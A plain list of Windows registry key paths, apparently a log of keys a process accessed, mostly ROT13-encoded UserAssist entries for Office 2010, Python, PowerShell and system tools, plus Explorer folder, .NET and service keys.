HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Pyvc Betnavmre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Ynathntr Cersreraprf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr 2010 Hcybnq Pragre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Zvpebfbsg Bssvpr Cvpgher Znantre.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Zvpebfbsg Bssvpr\Zvpebfbsg Bssvpr 2010 Gbbyf\Bssvpr Nalgvzr Hctenqr.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\VQYR (Clguba THV).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Zbqhyr Qbpf.yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count\{0139Q44R-6NSR-49S2-8690-3QNSPNR6SSO8}\Clguba 2.7\Clguba (pbzznaq yvar).yax
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\abgrcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\HRZR_PGYPHNPbhag:pgbe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\aneengbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bfx.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\rhqprqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Nqbor\Npebong.pbz\Npebong.pbz.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnPragre
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{Q4N262QQ-PR44-Q105-S36O-9Q77N8PO65N4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfNalgvzrHctenqrHV.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\QIQ Znxre\QIQZnxre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnCynlre32
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\zvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{NN198O3P-PQ8P-7QR1-98Q1-O460S637193O}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ArgCebw.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FbhaqErpbeqre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zboflap.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf AG\Npprffbevrf\jbeqcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{QNN168QR-4306-P8OP-8P11-O596240OQQRQ}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\puneznc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qsethv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pyrnazte.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P804OON7-SN5S-POS7-8O55-2096R5S972PO}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvasb32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\efgehv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\cbfgzvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\zvtjvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\FuncrPbyyrpgbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\GnoGvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf Wbheany\Wbheany.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pbzrkc.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NOQ94SO-R7Q6-84N6-N997-P918RQQR0NR5}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bqopnq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OO044OSQ-25O7-2SNN-22N8-6371N93R0456}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\vfpfvpcy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ZqFpurq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NN47365-O2O3-1961-69RO-S866R376O12S}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\cevagznantrzrag.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OQ3S924R-55SO-N1ON-9QR6-O50S9S2460NP}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfpbasvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JS.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{15067OP1-P5N8-425R-37P6-SN0O891674S9}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erpqvfp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfen.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxBssvprQvtvgnyFSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFGBER.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxFrgYnathntrSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OIs!!!!!!!!!ZXXFxJkcSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BVF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Pbzzba Svyrf\zvpebfbsg funerq\BSSVPR14\Bssvpr Frghc Pbagebyyre\cebzb.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{53123611-QN37-S8QN-SNP9-03R76QO9Q64Q}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clguba.rkr
HKEY_CLASSES_ROOT\Applications\powershell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{AE50C081-EBD2-438A-8655-8A092E34987A}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Recent
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_JumpListItems
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PropertyBag
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\PowerShellVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\RuntimeVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\ConsoleHostAssemblyName
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NormalizeLinkNetPidls
HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.NamespaceCLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{28636AA6-953D-11D2-B5D6-00C04FD918D0} 6
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\WOW64
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
